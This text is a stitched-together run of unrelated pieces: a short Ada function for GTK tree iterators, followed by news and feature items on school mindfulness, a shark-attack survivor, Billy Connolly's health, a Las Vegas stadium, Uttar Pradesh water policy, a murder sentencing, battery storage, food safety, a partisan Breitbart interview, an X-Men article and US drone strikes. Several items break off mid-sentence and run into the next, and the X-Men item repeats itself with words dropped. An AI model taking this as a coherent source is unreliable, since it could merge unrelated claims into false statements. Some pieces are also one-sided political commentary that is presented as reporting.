function From_Iter (Iter : Gtk.Tree_Model.Gtk_Tree_Iter) return Natural is pragma Warnings (Off); function To_Integer is new Ada.Unchecked_Conversion (System.Address, Integer); pragma Warnings (On); begin if Iter = Gtk.Tree_Model.Null_Iter then return 0; else return To_Integer (Gtk.Tree_Model.Utils.Get_User_Data_1 (Iter)); end if; end From_Iter;The results showed the positive impact was wide-ranging, with students reporting significant reductions in bullying incidents and disruptive behaviour in the classroom as well as improvements in sleep quality, concentration, behaviour and engagement. At-risk students benefited the most; students who experienced higher levels of emotional distress before participating in the program showed the biggest improvements. In their own words, students said the exercises made them "feel confident", "helped me get relaxed", "I feel more energised" and "it was nice just to slow down for a little bit". One of the Lara College participants said: "I have Asperger syndrome and when I meditate it calms me down a lot. I don't have a lot of panic attacks any more and I daydream less." Smiling Mind co-founder Jane Martino says one of the most powerful outcomes of meditation is management of emotional responses.
"As well as meditation we can also support our young people by providing plenty of 'down time' and not over-scheduling them," Martino says. "They don't need too many activities over and above school so they feel 'busy' before they even reach puberty. I'm convinced this is a large driver of anxiety in many of our young people, particularly in primary school. "We can also work on giving to others and sometimes focusing more heavily on what we do have rather than what we don't." Co-founder James Tutton says that in addition to cultivating mindfulness, it's important for young people to have a good diet, plenty of sleep, exercise and healthy technology habits. "Issues around anxiety and stress are amplified in today's world due to societal and social changes, especially the use of technology and the impact this has on sleep, bullying, peer pressure," Tutton says. "Anxiety and stress are very dangerous issues if left untreated. They have a direct correlation to a breadth of negative mental health conditions.
"Smiling Mind cultivates mindfulness, which is no silver bullet, but can play a very substantial role in good mental health."Image copyright Achmat Hassiem
South African lifeguard Achmat Hassiem lost a leg in a shark attack off the coast of Cape Town. He went on to become a medal-winning Paralympian and a marine conservationist advocating the protection of endangered sharks.
"I don't know if you've ever seen a shark with its jaws dislocated. It's the scariest thing you've ever seen. And it's charging at you."
Hassiem grew up beside the ocean, learning, as he puts it, "to love and respect it with every tumbling wave". From the roof of the family house he would watch sharks breaching the surface as they hunted seals in False Bay.
Seeing "something of that size and weight launch itself out of the water is absolutely incredible", he says. "It's wildlife in its purest form."
But Hassiem never imagined he would survive an attack by one of these powerful ocean hunters - and save his brother from death or injury in the process.
Image copyright Greg Adams/AFP/Getty
In August 2006 the two siblings were taking part in an exercise with the local lifeguard. Playing the role of distressed swimmers, Hassiem was nearest to shore, with his brother another 15m (50ft) towards the horizon.
As the lifeguards launched their dinghy into the water, Hassiem looked out to sea.
"I'm staring into the ocean and something catches the corner of my eye, moving towards my brother. I saw this triangle becoming bigger and bigger and bigger," he says.
Anxious to identify this "massive triangle", Hassiem peered below the surface. "That's when I saw a 4.7m (16ft) great white shark attached to this dorsal fin. I couldn't believe how big this thing was."
Hassiem knew the shark would dive before launching an attack from below. Fearing he could be about to witness the shark breach with his brother in its jaws, his first thought was to distract the animal's attention.
"Immediately I started drumming on top of the water, trying to make a massive splash.
"My brother was playing the role of an unconscious patient, so he was just lying in the water with his face down.
"Luckily sharks tend to move towards sounds, and I saw this massive fin turn away from my brother."
But as it changed course, the shark also dived. And as the lifeguards plucked Hassiem's brother out of the ocean, the great white targeted a fresh prey.
"It swam right in front of me," says Hassiem. "It was so close I could move the shark past me with my hands actually touching its body.
"That's when absolute chaos came into play. I'm screaming, the guys on the [dinghy] catch a glimpse of what is happening, and absolute terror hits the skies.
"The next thing I know the shark opens its mouth and you see those massive jaws."
For a moment Hassiem hoped he might somehow be able to throw his leg over the animal and get on to its back, and that "the shark would just give me a lift to the shoreline, drop me off, and that would be our parting".
Unsurprisingly, it didn't work out that way.
Image copyright Achmat Hassiem
"My leg didn't want to come forward and I couldn't understand why," he explains. "That's when I saw that half of my leg was in the shark's mouth already. I didn't feel it bite down at all."
Shaking Hassiem like "a doll in its mouth", the great white turned away from shore, pulled him under and headed downwards.
With the shark's teeth clamped around his right shin, Hassiem used his free leg to kick at the animal's head. His attacker shook him again, and he heard a "cracking sound".
"Boom - my leg just split, broke in two," says Hassiem. "I didn't feel it at all."
Who better to speak up for sharks than a shark attack survivor? Achmat Hassiem, Paralympic medallist
Desperate for air after being pulled a long way down, and finally free of the shark's crushing bite, Hassiem immediately made for the surface. He flung an arm out of the water, hoping his lifeguard colleagues would see the splash.
"I felt so tired. I just felt like I couldn't keep my body afloat any more. As I started sinking I could hear the sound of the engine coming towards me."
Hassiem saw the black belly of the dinghy skimming across the surface of the water, and somebody leaning over the side.
"I saw the reached-out arm of my brother. As I reached up he grabbed me."
Hassiem had survived. But the shark had claimed his right leg below the knee.
In hospital, pondering his future, Hassiem was persuaded to try competitive swimming, and before long found himself breaking records in the pool.
Two years after losing his leg he was on a plane to Beijing to represent his country at the 2008 Paralympic Games.
"It was absolutely amazing," he says. After that he represented South Africa on numerous occasions, winning a medal in the 100m butterfly at the London Paralympics.
He believes he has the shark to thank for setting him on a new path.
Image copyright Achmat Ahssiem
"Resulting from the shark attack I've managed to go around the world, see different countries, and meet different people.
"And I thought, 'Hey, all of this stemming from this shark attack, somehow I have to give back to sharks.' And I decided to become a marine conservationist and shark advocate.
"As a child I always wanted to represent South Africa, and the shark gave me the opportunity.
"But at the same time it's given me a sense that sharks are in trouble as well. And who better to speak up for sharks than a shark attack survivor?"
Achmat Hassiem spoke to Outlook on the BBC World Service. Listen again on iPlayer or get the Outlook podcast.
Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox.Comedian is being treated for disease and has also had successful surgery for prostate cancer, says spokeswoman
Billy Connolly has undergone surgery for prostate cancer and is being treated for the "initial symptoms" of Parkinson's disease.
The 70-year-old comedian and actor, who rose to fame on the Scottish folk music scene, will continue to work in TV and on stage.
His spokeswoman said: "Billy Connolly recently underwent minor surgery in America after being diagnosed with the very early stages of prostate cancer. The operation was a total success, and Billy is fully recovered.
"In addition, Billy has been assessed as having the initial symptoms of Parkinson's disease, for which he is receiving the appropriate treatment.
"Billy has been assured by experts that the findings will in no way inhibit or affect his ability to work, and he will start filming a TV series in the near future, as well as undertaking an extensive theatrical tour of New Zealand in the new year."
The Glasgow-born star, affectionately known as the Big Yin, began his working life in the Clyde shipyards but soon moved into entertainment with folk singing and comedy performances.
A string of appearances on Michael Parkinson's chatshow made him a household name and helped launch a career that saw him perform sellout stand-up shows around the world, present a series of documentaries and become an in-demand character actor.
He is married to the New Zealand-born actor and psychologist Pamela Stephenson, whose biography of her husband, simply called Billy, was a bestseller.
He is one of around 127,000 Britons with Parkinson's, which is caused by a loss of brain cells that produce a chemical messenger called dopamine.
Symptoms differ from case to case but often include a tremor or fine shake while the person is at rest, rigidity of muscles, slowness of movement and unsteady balance. Other symptoms can include memory loss.
Earlier this year Connolly said he had started to forget his lines during performances. He said: "This is fucking terrifying. I feel like I'm going out of my mind."
There is no cure for Parkinson's and scientists have been unable to work out why people get the condition. Symptoms can be controlled using a combination of drugs, therapies and occasionally surgery, but often more care and support may be needed as they progress.
The actor Bob Hoskins announced his retirement last year after being diagnosed with the disease.
The disease was identified by – and named after – Dr James Parkinson, who wrote An Essay on the Shaking Palsy in 1817, which established it as a recognised medical condition.
Connolly was made a CBE in the 2003 Queen's birthday honours and awarded the freedom of his home city in 2010.Reader poll Would you support public financing for a stadium if it would bring Las Vegas a Major League Baseball team? Yes.
No.
Undecided. View results
Las Vegas Mayor Oscar Goodman was a little more forthcoming today about talks he's been having with a professional team about building a sports facility in downtown Las Vegas.
Yes, it's Major League Baseball. Yes, Las Vegas is an American League city. Yes, they'd be looking at a domed stadium.
But no, he's not saying which team is talking to him. And no, he's not saying exactly where such a 45,000-seat stadium would be built — except that it would be on existing city-owned property.
"We've had two meetings," Goodman told reporters after his weekly press conference at city hall, flashing a smile and holding up two fingers.
What's the next step for baseball?
"I'm waiting to hear from a gentleman as to what team I'm supposed to be speaking with," Goodman said.
The mayor first gave hints last week that a MLB franchise was looking at the city. However, at that time, he said he wasn't at liberty to say which sport, which team and what kind of a facility would be built.
But this week he wasn't playing his cards as close to the vest, or perhaps chest protector would be the better analogy.
Earlier in his press conference, the mayor for the first time said he had met this week with a representative of a major league baseball team.
"On Monday we had a meeting regarding the potential, as I indicated before, of building a baseball stadium," he said. "And those discussions are now ongoing and I'm not going to tell you that it's imminent, but I'm going to tell you that the people who are participating in the discussions are very serious about seeing that happen."
Later, during a question-response session, Goodman opened up with a few more details.
He said he couldn't say much "other than the fact that we're talking about communications with a major league team to see whether or not we can get an assurance from a major league team that they will come here if, in fact, a stadium is built.
"And we're also exploring the potential of funding for the stadium. And those are the two areas that we're engaged in right now."
Asked if he could say what MLB league the team is from, Goodman said "Absolutely not."
"I can tell you this. I can tell you I've been advised that we are designated as an American League city," he said. "So, folks, if we get ourselves a team |
Pradesh where there is a provision of rainwater harvesting facility in the map. Adityanath, while going through the presentations of the Urban Development Department, directed officials that provisions should be made that a map of a house is passed only if it has the rainwater harvesting facility. The chief minister, while expressing his concerns over the depleting groundwater level, suggested rainwater harvesting as an important measure for water conservation. The Chief Minister, while issuing the order, stated that his government intends to ensure that people of the state do not face shortage of drinking water. The CM further directed the UP Jal Nigam officials to ensure that the benefits of various government schemes reach to the doorsteps of the needy. Adityanath asked officials to ensure drinking water availability at all places. The CM said that if needed, then the handpumps may installed again at the required places. Adityanath also directed the officials to link Mathura and Vrindawan under the Agra Water Supply Scheme (Agra Jal Sampurti Yojana), and said that the scheme must be completed by March 2018.
Giving a deadline of next 100 days, Adityanath reiterated that cities must be made clean and roads there be made pot-hole free. Exploring the option of transforming Ayodhya-Faizabad and Mathura-Vrindawan into municipal corporations, Adityanath directed the 14 municipal corporations of the state to discharge their responsibilities diligently.
Also Read | UP CM Adityanath meets Amit Shah, big administerial changes on cards
The CM further made the suggestion that stray animals must be removed from the city streets, and said the model of Kanha Upwan (the Lucknow-based animal shelter), be replicated in other parts of the state. Further discussing the smart-city issue, the chief minister directed the officials to gather information about it and work on the relevant parameters, while ensuring speedy completion of projects under it. The CM also rapped officials for poor quality of work going on under the Jawaharlal Nehru National Urban Renewal Mission.
With PTI InputsThis afternoon in the Brisbane Supreme Court, the man who killed her, 22-year-old Allyn John Slater, was sentenced to life in jail. The Bundaberg man, who had known Trinity her entire life, sat with his head bowed in the dock, his face flushed red. Slater made no move to push the glasses which fell forward back on his face and hunched forward, slumping his shoulders as Prosecutor Todd Fuller read the statement of facts of Trinity's murder to Justice Duncan McMeekin. Mr Fuller said Slater, who was 19 when he murdered Trinity, had not been able to give any reason for the killing and had told police he had very few memories of the night, other than moving a green garden chair under her bedroom window and dragging the child through the storm drain where her body was found. Mr Fuller said an autopsy found Trinity had drowned, and had been placed face down in a storm drain, where she was found by a police officer just after 6am on February 22.
Fingerprints on the Trinity's bedroom window led police to Slater. He told them he could give no reason for the murder, that he had not been angry at her, that she was his younger brother's best friend and everyone, including his own family, loved her. Slater said there was no sexual motivation for the crime. He was unable to tell police if she had spoken as he carried her through her bedroom window and away from her home, although he thought he remembered her grabbing on or holding him as he carried her over his shoulder. Slater told police that he "knew what he was doing was wrong, but couldn't control himself".
Mr Fuller described the little girl's murder as "a senseless crime" which had struck at the heart of the Bundaberg community. Trinity's parents were unable to control their grief and sobbed as the death of their little girl was laid out in front of the court. They left the courtroom half way through Mr Fuller's address. Defence barrister Carl Heaton said his client was very remorseful and "in a childlike manner", which may have been indicative of his client's personality. He said Slater "wished he could turn back time" and take back what he had done.
Mr Heaton was unable to offer any explanation as to why his client had killed the primary school student. In handing down the mandatory life sentence, Justice McMeekin described Slater's crime as "inexplicable". Justice McMeekin asked Slater to stand and told the man that taking "an eight-year-old girl for her bedroom as she was sleeping, strangled her and left her to drown in a drain" was "every parent's nightmare" and was a crime which had "horrified" the community and "devastated" a family. Slater grasped his hands together and bowed his head as the Justice read part of a victim impact statement Trinity's parents had submitted to the court. Justice McMeekin said Ms Clarke and Mr Bates had described the loss of their daughter as "unimaginable" and the panic they had felt at finding her missing from her bed was just "the beginning of the worst possible nightmare".
Trinity's parents did not speak to the media as they entered or left the court house; North Coast regional crime coordinator, Detective Superintendent Maurice Carless, spoke for them. He thanked the Bundaberg community, the media and the police officers who worked on the case for the past two years and the director of public prosecutions. Superintendent Carless said the family had requested privacy while they absorbed what had happened. "As you can imagine, this is not solved for them, this is not over for them, this is just a legal conclusion. It is certainly not a conclusion in what is a human tragedy and a senseless event. It's not over for them," he said. Slater changed his plea in a surprise move yesterday at a pre-trial hearing in the Supreme Court, just days before his murder trial was to begin.
Usually reserved for working through legal matters ahead of a trial, it is unusual for a plea to be entered during the procedure. Slater changed his plea half way through yesterday's hearing. Slater was sentenced to life taking into account the 892 days he had spent in custody since his arrest on February 22, 2010. Life imprisonment in Queensland, when Slater committed his crime, carried a 15 year sentence.Photo: SDG&E Part of a 30-megawatt lithium-ion battery energy storage system in Escondido, Calif.
Advertisement Editor’s Picks Gas and Power Grid Link Means L.A. Could Be Gigawatts Short This Summer
It’s the stuff of an action-hero movie: An accident threatens an unsuspecting metropolis. Electricity supplies face disruptions and millions are at risk of being without electricity as blackouts roll across the city. Faced with the prospect of escalating chaos, officials gather on the steps of government buildings and implore, “Who can help us?”
But let’s leave that cliffhanger for a moment, knowing that reality was not quite so—shall we say—Hollywood.
The significance of the Aliso Canyon response almost cannot be overstated, storage advocates say.
Even so, this movie-quality crisis is based in fact and has energy storage as its action hero. The increasingly mainstream zero-emission technology helped ease a real-life crisis that had all the makings of a major catastrophe.
Official records say that on 23 October 2015, a significant natural gas leak in well SS25 was detected at the Aliso Canyon natural gas storage facility in the San Fernando Valley north of Los Angeles. Repeated attempts by Southern California Gas Co., the owner, to “kill”—plug up—the well and stop the leak failed.
SoCalGas relies on Aliso Canyon to provide gas for core customers—homes and small businesses—as well as non-core customers, including hospitals, local governments, oil refineries, and 17 natural gas-fired power plants with a combined generating capacity of nearly 10,000 megawatts.
As part of a multi-part response to the crisis, the California Public Utilities Commission in May 2016 fast-tracked approval of 104.5 MW of battery-based energy storage systems within the service areas of Southern California Edison (SCE) and San Diego Gas & Electric (SDG&E).
Those utilities, along with the Los Angeles Department of Water and Power—the nation’s largest municipal utility—provide gas and electric service to most of southern California. By the end of February 2017, seven of eight fast-tracked Aliso Canyon–related energy storage projects were online, helping the region’s energy grid regain stability.
The significance of the Aliso Canyon energy storage deployment is “hard to overstate,” says Alex Morris, director of policy and regulatory affairs for the California Energy Storage Alliance, an advocacy group.
For one thing, the stakes were high. After all, rolling blackouts seemed likely across much of the region. For another, the deployment was rapid: roughly six months elapsed between the time the procurement order was issued and when the bulk of the storage resources came online.
Part of what made that rapid deployment possible was California’s growing familiarity with energy storage technology and procurement. That familiarity stems in part from legislation passed in 2013. Known as AB 2514, the state law set an aggressive goal for California’ three regulated utilities, Pacific Gas & Electric, SCE, and SDG&E: Procure energy storage capable of delivering a total of 1,300 MW by 2020 and have it online by 2024.
Much of the learning curve had already been climbed by the time the Aliso Canyon crisis occurred. As a result, energy storage systems could be procured and designed almost simultaneously, with delivery and installation largely a function of the supply chain’s ability to respond.
California’s energy storage goal helped to move ahead of states in the mid-Atlantic and Midwest as the nation’s hotbed for energy storage deployment.
Encouraged by the technology’s declining cost and rapid deployment, California regulators in late April ordered the three big utilities to secure an additional 166 MW of storage capacity each, for a total of around 500 MW. Precisely how that capacity is deployed remains to be seen, but the technology may be called on to support a range of services, including frequency regulation and local substation support.
Indeed, energy storage is a something of a Swiss Army knife, capable of handling multiple duties depending on how and where it is deployed and how it is compensated.
For example, in a 2016 energy storage cost analysis the financial advisory firm Lazard identifies grid-scale applications that include peaking generator unit replacement, frequency regulation, and distribution system support. So-called “behind the meter” uses include microgrids, commercial and industrial applications, and residential deployment.
Energy storage can provide instantaneous bursts of electricity for grid support or extended periods of power to meet peak load demand. It even can replace some forms of fossil-fired power generation that traditionally have produced electricity at times of high demand.
Among the Aliso Canyon energy storage facilities now in place is the 20-MW/80-MWh Mira Loma Battery Storage Facility, deployed by Tesla in less than three months. The installation includes two 10 MW systems that contain almost 200 Tesla Powerpacks and 24 inverters. The equipment was manufactured at the recently opened Tesla Gigafactory in Nevada.
Meanwhile, SDG&E and AES Energy Storage deployed two Advancion energy storage units, totaling 37.5 MW. At one of the sites—an SDG&E substation in Escondido, Calif.—a 30 MW, four-hour-duration lithium-ion battery array represents what AES says is one of the world’s largest such storage deployments.
AES Energy Storage deployed one of the world’s largest lithium-ion battery systems
The arrays will provide 37.5 MW of power and serve as a 75 MW resource for grid support. Combined, the arrays can provide enough capacity to power roughly 25,000 homes for four hours. Components include batteries by Samsung SDI and power conversion systems by Parker Hannifin.
The four-hour duration means that the system can provide energy during times of peak demand on the system. Gas-fired turbines often fill that role. But the battery storage system means that energy produced by wind and solar facilities can be stored and then released into the grid in response to demand signals issued by the California Independent System Operator. That helps to advance California’s environmental goals, because battery storage is a zero-emission source.
The 2014 SCE solicitation was for all sources. That means that energy storage competed directly against natural gas on price, among other factors, says Kate McGinnis, Market Director for Western U.S. at AES Energy Storage. The storage system was priced “competitively to a gas peaker,” she says.
The Lazard analysis from late 2016 suggests that lithium-ion batteries used in peaking applications can have a capital cost that ranges from around $420/kWh to almost $950/kWh. On an unsubsidized basis, Lazard pegs the levelized cost of storage using lithium-ion batteries as between $285/MWh and $813/MWh.
California environmental advocates have been increasingly frustrated as renewable energy resources have been curtailed during periods of excess generation. “There is a sense of ‘what a waste,” says Buck Endemann, a San Francisco-based partner in the energy and environmental law practice of K&L Gates. Storage offers an opportunity for excess renewable energy to be captured and used as needed rather than as generated.
As California’s utilities continue to work toward the goals of AB 2514 and the more recent AB 2868, McGinnis says that AES has additional contracts for energy storage projects: a further 40 MW of storage capacity with SDG&E and 100 MW for SCE.
And while no one hopes that a crisis similar to Aliso Canyon happens again, energy storage advocates seem ready to take on a leading role should an action-hero sequel come along.Remember that time when Stewart Parnell, who ran the Peanut Corporation of America, knew about the salmonella bacteria contaminating his filthy factory’s peanut butter and covered it up, telling his workers to “just ship it” anyway? The infected peanut butter, prosecutors alleged, killed nine people and sickened thousands. As a result, Parnell is now in federal prison until 2040 (hopefully) and the FDA introduced the FDA Food Safety Modernization Act. The point of this legislation was to insure the safety of our food as it passes through the industrial system (despite rumors to the contrary). Federal inspectors who raided Parnell’s factory found roaches, rats, mold, dirt, accumulated grease, bird excrement, and a leaky roof that let rain water into a dry processing facility, making contamination just that much easier.
[Editor’s Note: after being contacted by a member of the Parnell family with concerns over the cause of the 9 deaths, we chose to update this piece with the italicized text above. No conclusive evidence could be found re: the deaths as the transcript is no longer publicly available and the Parnell’s cannot provide additional information due to a pending appeal.]
And then there was that time when the fast food restaurant chain Chipotle had an E. coli outbreak that sickened people in 11 states. Many of their restaurants closed for a while so the incident could be investigated, but no main culprit could be definitively identified, because fresh Mexican-style food is complex and contains many different ingredients. Still, Chipotle worked with the FDA to improve the safety of their food by taking actions that included better food hygiene procedures, such as marinating chicken only at night (after other fresh ingredients have been put away) and blanching their lemons, limes, jalapeños, onions, and avocados, in order to kill any germs on their skins. E. coli is found in the intestine, and since vegetable matter (like lettuce) can be contaminated by matter from nearby animal farms, it’s important to keep animals out of industrial vegetable fields. You can blanch a lemon, but blanching lettuce doesn’t work as well.
Truth is, even with the FDA’s “food police” regulating food safety, inspecting factories and fields, and tracking down sources of contamination, industrial food passes through a huge, Byzantine system that is often too convoluted to properly focus on the safety of our food. A lack of transparency, from ag-gag laws to industry efforts to fight mandatory labeling legislation, highlights how badly the food industry doesn’t want anybody peeking behind the curtains. At the same time, overworked and tired Americans have come to rely on processed ingredients and even fast food restaurants in order to fill their bellies quickly and easily. Demanding that food be as cheap as possible also incentivizes these producers to cut corners to save money, often at the expense of safety. When the desire for everything (even government) to be cheap means that an overburdened, underfunded FDA can only inspect 1-2% of food imports at the border each year, the safety of our food cannot be guaranteed.
It is into this situation that GOP presidential candidate Donald Trump introduced his plans to (presumably) improve the safety of our food by rolling back the ability of the “FDA food police” to regulate such important items as “farm and food production hygiene” and “food temperatures.” Apparently Trump intended to Make America Great Again by all but insuring that more incidents like the Peanut Corporation of America and Chipotle outbreaks would happen, more often. Trump’s press release was later purged from his campaign’s website, but thanks to Twitter user @nycsouthpaw, you can see a screencap of the Donald’s rant about “inspection overkill.”
Does the quick release-and-reversal of this policy position mean that Trump has sincerely repented of this idea? Who knows. The man flips and flops like a freshly-caught fish. A list released by NBC News earlier this month detailed 117 distinct policy shifts on 20 major issues since he announced his candidacy on June 16, 2015, so your guess is as good as mine. Perhaps his idea of taking America back to its glory days involves a “beneficial reduction in the surplus population” in order to return not just to the white male supremacy of the Leave it to Beaver era, but the headcount, too. In the end, he either knows what he’s doing, which is scary, or he doesn’t know what he’s doing, which is also scary.
For those who have the desire and resources, leaving the industrial system behind and growing your own is an appealing option. Not everyone can, though, and most people still rely on industrially produced food to survive. The danger inherent in the industrial food system is already bad enough. Rolling back FDA regulations and inspection schedules would further imperil the safety of our food.
Sources:Ronna Romney McDaniel, the chairwoman of the Republican National Committee (RNC), is calling on former Democratic National Committee (DNC) chairwoman Rep. Debbie Wasserman Schultz (D-FL) to testify before Congress on her now-arrested, just-fired IT staffer.
McDaniel made the explosive demand in an exclusive interview with Breitbart News via phone on Wednesday afternoon, after news broke Tuesday night that Wasserman Schultz’s IT staffer for more than a decade was caught trying to flee the country by federal law enforcement agents after wiring hundreds of thousands of dollars to Pakistan.
“I think Congress needs to open an investigation into what this staffer had access to, to figure out what information he had on the hard drives he took a hammer to, why he was fleeing the country,” McDaniel told Breitbart News. “There are just so many questions with this individual and his family members who received over $4 million of taxpayer money between 2005 and 2009. We need to get to the bottom of it. It’s very sad that the mainstream media is not talking about this at all. It shows the bias.”
McDaniel specifically called on Wasserman Schultz to be willing to testify before a congressional committee on her knowledge of the matter. It’s unclear if the Florida congresswoman and former party chief—who stepped down at the Democratic National Convention last summer in Philadelphia amid leaks of DNC emails—would be willing to testify. Her spokesman David Damron has not responded to a request for comment when asked if she would be willing to cooperate with an investigation by Congress and testify before a panel about this matter.
“Debbie Wasserman Schultz absolutely needs to testify and explain why this individual was on taxpayer-funded payroll until yesterday, as he was fleeing the country, on top of the fact that they had removed his access to congressional computers in February,” McDaniel said. “So she knew he was under investigation, she knew something was wrong, and she kept him on payroll. So we need to figure out what she knew, why she was protecting this person, and figure out what he did with important government information.”
Federal agents picked up Imran Awan, the Pakistani-born IT vendor for Wasserman Schultz, at the airport attempting to flee the country on Tuesday night. He had just wired hundreds of thousands of dollars to Pakistan in his effort to escape scrutiny. He has been under investigation for some time. The staffer was on Wasserman Schultz’s payroll since 2004 until Tuesday night and was not fired until after he was arrested in an attempt to flee the country.
McDaniel is worried that Awan may have had access to information that not only put America’s national security at risk but may also be relevant to the Russia investigation—something Democrats are not cooperating with anymore.
“Well, first of all, Debbie Wasserman Schultz said when the DNC was hacked that she was going to have her IT guy come and look at what happened,” McDaniel told Breitbart News. “So, we need to figure out what access he had to the DNC servers, what access he had to her personal servers and computers, did she have separate devices for the DNC and her personal and her congressional? We need to have a full big picture as to what access this individual had not just to the congressional but also to the DNC servers.”
McDaniel is also worried about other Democrats—staffers and House and Senate members alike—with whom Awan may have been in contact. She’s calling on all of them to come forward and address this situation transparently now and testify before the relevant committees.
“They should testify to help clear all this up,” McDaniel said. “Let’s look at it, Matt. You have Jared Kushner putting out a statement two days ago and being transparent and compliant with the Senate investigation and the congressional investigation, with bipartisan congress members coming out and saying he did a great job being forthcoming. You have Don, Jr., saying he’s going to comply. You’re seeing Republicans from the Trump administration say ‘we’re going to work with Congress on every aspect of Russia collusion and get to the bottom of it.’ Then you have the Democrat party. They have not turned over their server. They have this individual now trying to flee the country who had access to we don’t know what, certainly the congressional servers and potentially the DNC information, and you don’t hear anything from the Democrat party. So which is it? Do they want to get to the bottom of what happened or do they only want to have a witch hunt against Republicans?”
McDaniel added that Democrats like Rep. Adam Schiff (D-CA) should be concerned about these revelations and actually begin investigating them rather than spending all their time on television shows making political attacks against President Trump.
“The Democrats are obstructing at every turn,” McDaniel said. “Debbie Wasserman Schultz has obstructed at every turn and protected this staffer even to the point where she threatened a Capitol Hill police officer. There’s something that is curious about their behavior and we need to investigate it and figure out what is happening with the Democrat Party. What is interesting is you see Adam Schiff running for every TV camera—he has done 14 hours of interviews—why doesn’t he focus on his own party and get some answers from them with regards to what they knew with regards to the DNC hack and now this IT person working for Congresswoman Wasserman Schultz and see what access he had to those computers and that information?”Outlook Festival www.outlookfestival.com/
Tickets www.outlookfestival.com/tickets/
We are back with our second Outlook mix of 2014 in the shape of an exclusive selection from UK star, Hatcha. His roots stem right back into Croydon's late 90’s garage and pirate radio scene. In 2001 FWD>>, Dubstep’s founding club, started with Hatcha as a resident. Throughout the decade Hatcha’s sets have been going from strength to strength; first on South London pirates, then Rinse FM and now, Kiss 100.
This mix is a taster of what to expect at his set at Outlook Festival this year and we are all the more than excited to welcome Hatcha back to Croatia. It is the first in our new series for 2014, where we will showcase the flavours of sounds explored at Outlook through exclusive mixes from artists playing at the festival.
Hatcha: www.residentadvisor.net/dj/hatchaBryan Singer Is Hoping You Just Forget About Certain X-Men Continuity Problems By Gabe Toro Random Article Blend X-Men fans and the franchise was that the fact that the continuity has continually been violated. That's what happens when three films essentially beget two unrelated prequels, and when the director of the first two X-Men movies decides to leave the franchise. But now Bryan Singer is back, and with X-Men: Days Of Future Past he's set to rectify some of these issues. Still, not every continuity mistake can be fixed, not every role
Speaking to
"Some things you let go. InX-Men 3 Bolivar Trask was an African-American guy, in X-Men 1 I personally wrote the line that of course I now regret: ‘When I was 17, I met a young man named Erik Lensherr’ and then in X-Men: First Class I changed that! Some of these I hope the audience will forget about but for the bulk of it I pay attention to the universe."
Despite what rabid fans might say, the common person is probably not exactly super up to date on what's happened in the past X-Men movies, particularly considering the first two are more than a dozen years old. It's worth noting that Singer isn't just negating some of the material that was put together by directors Brett Ratner (X-Men: The Last Stand), Gavin Hood (X-Men Origins: Wolverine) and Matthew Vaughn (X-Men: First Class), but some of his own: Singer actually had a producer credit and played a big role in developing the story for X-Men: First Class, which heavily rewrote much of the established mythology. As for Bolivar Trask, what the director is referencing is the fact that the character was played by the immortal Predator star Bill Duke in The Last Stand, while in X-Men: Days Of Future Past he will be played by Game of Thrones star Peter Dinklage.
Singer also reveals that he and producer Simon Kinberg together wrote the post-script scene for The Wolverine that leads into Days Of Future Past, suggesting that he has a big hand in making an effort to unite everything as seamlessly as possible. All that said, at the end of the day these movies only really need to be able to stand by themselves, and Singer shouldn't stay awake at night wondering if he's already wasted a chance to cast someone big for Jubilee (who appears in the background of X-Men). While the hardcore fans are walking wiki pages for these films, most people see these movies once a year or every two years, and not every plot point stays fresh in their head. For years, one of the main points of contention betweenfans and the franchise was that the fact that the continuity has continually been violated. That's what happens when three films essentially beget two unrelated prequels, and when the director of the first twomovies decides to leave the franchise. But now Bryan Singer is back, and withhe's set to rectify some of these issues. Still, not every continuity mistake can be fixed, not every role recast, and not every piece will fit. For that, Singer is just gonna ask you to deal with it.Speaking to SciFiNow in a recent interview, Singer said,Despite what rabid fans might say, the common person is probably not exactly super up to date on what's happened in the past X-Men movies, particularly considering the first two are more than a dozen years old. It's worth noting that Singer isn't just negating some of the material that was put together by directors Brett Ratner (X-Men: The Last Stand), Gavin Hood (X-Men Origins: Wolverine) and Matthew Vaughn (X-Men: First Class), but some of his own: Singer actually had a producer credit and played a big role in developing the story for, which heavily rewrote much of the established mythology. As for Bolivar Trask, what the director is referencing is the fact that the character was played by the immortalstar Bill Duke in The Last Stand, while inhe will be played by Game of Thrones star Peter Dinklage.Singer also reveals that he and producer Simon Kinberg together wrote the post-script scene forthat leads into, suggesting that he has a big hand in making an effort to unite everything as seamlessly as possible. All that said, at the end of the day these movies only really need to be able to stand by themselves, and Singer shouldn't stay awake at night wondering if he's already wasted a chance to cast someone big for Jubilee (who appears in the background of X-Men). While the hardcore fans are walking wiki pages for these films, most people see these movies once a year or every two years, and not every plot point stays fresh in their head. X-Men: Dark Phoenix - All The Confirmed Heroes And Villains Blended From Around The Web Facebook
Back to topOn January 1, 2009, a US drone strike killed two senior al-Qaeda leaders, the first in what then President-elect Barack Obama had said would be a dramatic escalation of the aerial bombardment of Pakistan’s tribal area.
And escalate it did. The US launched 44 distinct drone strikes in Pakistan in 2009, far more than in previous years. The pinnacle of America’s drone achievements was in August, when they killed Tehreek-e Taliban Pakistan (TTP) leader Baitullah Mehsud.
Much has been made of the successes, but while the strikes have been regular and they almost always are presented by Pakistan’s intelligence community as having killed “suspects,” the actual successes are few and far between, with only five confirmed kills of real militant leaders, and a handful of unconfirmed claims that usually haven’t panned out.
The vast majority of the deaths, around 700 according to one estimate, have been innocent civilians. With such a massive civilian toll and so little to show for it, it is no wonder that Pakistani people have been up in arms over the continued strikes.
But US officials have rarely commented on the drone strikes, except on those rare occasions when they actually kill someone meaningful, and seem completely ambivalent to the hundreds of innocent people killed in the meantime. The ultimate example of this was June 22-23.
On June 22, the US struck at a house officials called a “suspected militant hideout,” burying a few locals inside. When others rushed to the scene to rescue them, they launched another missile, killing 13 apparently innocent Pakistanis. When they held a funeral procession on June 23, the US hit that too, ostensibly on the belief that Baitullah Mehsud might be among the mourners. He wasn’t, but the attack killed at least 80 more people.
When announcing the December escalation into Afghanistan, President Obama reportedly also approved an escalation of drone strikes into Pakistan. It seems unlikely that the intelligence has gotten any better, however, and civilians across North and South Waziristan are in an understandable panic.
Last 5 posts by Jason DitzKenneth O'Halloran is the winner of the Open Competition category of the Syngenta Photography Award 2017. A selection of these works will be on display at the Syngenta Photography Award exhibition "Grow Conserve" at Somerset House in London until March 28.
In the arid farmlands of Burkina Faso, a young boy takes a bite from a ripe, bright yellow mango, as he looks out over the muddy waters of Lake Bam and the local cattle who come here to drink.
Whether for fish or crops, his community of subsistence farmers relies on nature's resources for their survival.
